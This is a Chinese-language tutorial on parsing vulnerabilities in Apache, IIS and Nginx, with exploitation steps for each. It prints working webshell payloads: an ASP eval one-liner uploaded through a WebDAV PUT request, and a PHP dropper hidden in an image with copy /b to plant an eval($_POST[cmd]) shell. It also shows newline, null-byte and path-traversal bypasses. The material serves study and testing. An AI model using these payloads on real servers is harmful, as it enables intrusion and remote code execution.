1. Apache解析漏洞
1.1. 未知后缀解析漏洞
1.1.1. 影响版本
Apache 1.xApache 2.x
1.1.2. 原理
- Apache对于⽂件名的解析是从后往前解析的, 直到遇⻅⼀个Apache认识的⽂件类型为⽌.
 - 比如一个文件名为
xxx.x1.x2.x3的文件, Apache会从x3的位置往x1的位置开始尝试解析, 如果x3不属于Apache能解析的扩展名, 那么Apache会尝试去解析x2的位置, 这样一直从后往前尝试, 直到遇到一个能解析的扩展名为止, 如果都不认识,则会暴露其源代码. - 具体来说, 例如:
Phpshell.php.abc.abc, 因为Apache不认识.abc这个⽂件类型,所以会⼀直遍历后缀到.php, 然后认为这是⼀个PHP类型的⽂件. - 那么Apache认识哪些扩展名呢?
- windows: 在Apache安装目录下
/conf/mime.types文件中有详细的扩展名列表,这种方法可以绕过基于黑名单的检查 - Ubuntu: 在
/etc/mime.types文件中 
 - windows: 在Apache安装目录下
 
1.1.3. 利用
- ⽐如
.rar是⼀个合法的上传需求, 在应⽤⾥只判断⽂件的后缀是否是.rar, 最终⽤户上传的是phpshell.php.rar.rar.rar, 从⽽导致脚本被执⾏. 
1.2. 换行解析漏洞
1.2.1. 影响版本
- Apache版本在
2.4.0到2.4.29 
1.2.2. 原理
- 正则中, 
$可以匹配行尾或者一个换行符 - 如果目标Apache使用如下方法来禁止某目录执行PHP
 
<FilesMatch "\.(?i:php|php3|php4)$">
Order allow, deny
Deny from all
</FilesMatch>- 我们可以上传一个后缀末尾包含换行符的php文件, 来绕过这个
FilesMatch 
默认的Apache配置就可以利用, 默认的Apache配置就使用了如下的
FilesMatch
<FilesMatch \.php$>
    SetHandler application/x-httpd-php
</FilesMatch>1.2.3. 利用
- 上传一个包含webshell的php文件, 如文件名是
1.php, 然后用bp抓包, 用hex功能在1.php后面添加一个\x0A 

- 然后访问
1.php%0A, 即可发现getshell 
2. IIS解析漏洞
2.1. IIS6.0
IIS 6.0再解析文件的时候存在以下三个解析漏洞:
- 当文件为
*.asp;1.jpg时,IIS 6.0会以ASP脚本来执行 - 当建立
*.asa,*.asp格式的文件夹时,其目录下的任意文件都将被IIS当作asp文件来解析 WebDav(Web-based Distributed Authoring and Versioning)漏洞(对IIS写权限的利用),如果服务器开启WebDav,并且支持PUT,Move,Copy,Delete等方法,就可能存在安全隐患
2.1.1. 文件类型
Ⅰ:正常:www.xxx.com/logo.jpg
Ⅱ:触发漏洞:www.xxx.com/logo.asp;abc.jpg
- 这类似0x00字符截断⽂件名, 不过截断字符变成了分号
; - 按照Ⅰ来上传访问
logo.jpg,文件会被当成是jpg图片来解析,如果上传访问logo.asp;abc.jpg,IIS 6会将此⽂件解析为logo.asp,⽂件名被截断了, 被当成asp文件来处理, 从⽽导致脚本被执⾏, 而不会去管abc.jpg(如果IIS支持PHP,那么logo.php;abc.jpg也会被当成PHP文件执行) 
2.1.2. 文件夹类型
Ⅰ:正常:www.xxx.com/image/logo.jpg
Ⅱ:触发漏洞:www.xxx.com/image.asp/logo.jpg
- 按照Ⅰ来上传访问
logo.jpg,文件会被当成是jpg图片来解析,如果将logo.jpg上传到*.asp如image.asp目录下,文件就会被当成asp文件来处理。(如果IIS支持PHP,那么image.php文件夹下的文件也会被当做PHP文件解析。) 
2.1.3. WebDav
2.1.3.1. 利用条件
- 目录支持写权限
 - 开启了WebDav
 - 勾选了
脚本资源访问复选框 
攻击者常用
PUT方法上传危险脚本文件, 然后用move方法改为脚本文件, 从而执行webshell, 测试步骤如下:
2.1.3.2. 通过OPTIONS探测服务器所支持的HTTP方法
请求:
OPTIONS / HTTP/1.1
Host:www.example.com
响应:
。。。
Allow:OPTIONS,TRACE,GET,HEAD,DELETE,PUT,POST,COPY,MOVE,MKCOL,PROPFIND,PROPPATCH,LOCK,UNLOCK,SEARCH
。。。2.1.3.3. 通过PUT方法向服务器上传脚本文件
请求:
PUT /a.txt HTTP/1.1
Host:www.example.com
Content-Length:30
<%eval request("chopper")%>2.1.3.4. 通过Move或Copy方法改名
请求:
COPY /a.txt HTTP/1.1
Host:www.example.com
Destination:http://www.example.com/cmd.asp2.1.3.5. 使用DELETE方法,攻击者还可以删除服务器上的任意文件
请求:
DELETE /a.txt HTTP/1.1
Host:www.example.com桂林老兵曾写过一款针对WebDav漏洞的软件:
IIS Write,利用这款软件,可以快速探测服务器是否存在WebDav漏洞
2.2. IIS7.0以上
2.2.1. 影响版本
IIS7.0(Win2008R1+IIS7.0)
IIS7.5(Win2008R2+IIS7.5)2.2.2. 原理
IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL后面追加上字符串”/任意文件名.php”就会按照php的方式去解析。(例如:webshell.jpg/x.php)IIS的解析漏洞不像Apache那么模糊,针对IIS6.0,只要文件名不被重命名基本都能搞定。这里要注意一点,对于”
任意文件名/任意文件名.php”这个漏洞其实是出现自php-cgi的漏洞, 所以其实跟IIS自身是无关的。
2.2.3. 利用
- 将shell语句,如
 
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>写在文本xx.txt中(或者shell语句直接写一句话,用菜刀、cknife等直连,只是容易被查杀),然后用命令将shell语句附加在正常图片xx.jpg后
copy xx.jpg/b + xx.txt/a test.jpg- 上传
test.jpg,然后访问test.jpg/.php或test.jpg/abc.php当前目录下就会生成一句话木马shell.php 
3. Nginx解析漏洞
3.1. 畸形解析漏洞
3.1.1. 原理
- 对任意文件名,在后面添加”
/任意文件名.php”的解析漏洞,比如图片木马文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击,那么test.jpg会被当成PHP脚本来解析。注意,此时的x.php是不存在的 - 这种解析漏洞其实是
PHP CGI漏洞,在PHP配置文件中有个关键的选项:cgi.fix_pathinfo,这个选项在某些版本中是默认开启的 
cgi.fix_pathinfo = 1- 在开启时访问URL,比如: 
http://www.xxser.com/x.txt/x.php,x.php是不存在的文件,所以PHP会向前递归解析,于是造成了解析漏洞.由于Nginx和PHP配合很容易造成这种漏洞,所以,PHP CGI漏洞常常被认为是Nginx解析漏洞,所以其实跟Nginx自身是无关的。 
3.1.2. 利用
将shell语句,如
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>写在文本
xx.txt中(或者shell语句直接写一句话,用菜刀、cknife等直连,只是容易被查杀)然后用命令将shell语句附加在正常图片
xx.jpg后
copy xx.jpg/b + xx.txt/a test.jpg- 上传
test.jpg,然后访问test.jpg/.php或test.jpg/abc.php,当前目录下就会生成一句话木马shell.php 
3.1.3. 修复
- 将
cgi.fix_pathinfo设置为0 
3.2. 空字节代码执行漏洞
3.2.1. 原理
- 低版本的Nginx可以在任意文件名后面添加
%00.php进行解析攻击。 
Nginx0.5.
Nginx0.6.
Nginx0.7. <= 0.7.65
Nginx0.8. <= 0.8.373.2.2. 利用
- 比如在图片后附加php代码,然后通过访问
来执行其中的代码xx.jpg%00.php 
3.3. 文件名逻辑漏洞(CVE-2013-4547)
- 受影响的nginx版本: 0.8.41至1.4.3和1.5.7之前的1.5.x
 - 正常上传一个附加代码的图片
test.jpg,访问时后面+空格+\\0+.php,即让图片作为php文件解析 
"/test.jpg \\0.php"3.4. 配置不当目录穿越
- 如果绝对路径
/home/的URL映射是网站目录/files/,配置写成了/files 
location /files {
    alias /home/;
}- 就可以访问
/files../,穿越路径,访问到绝对路径根目录/下的文件列表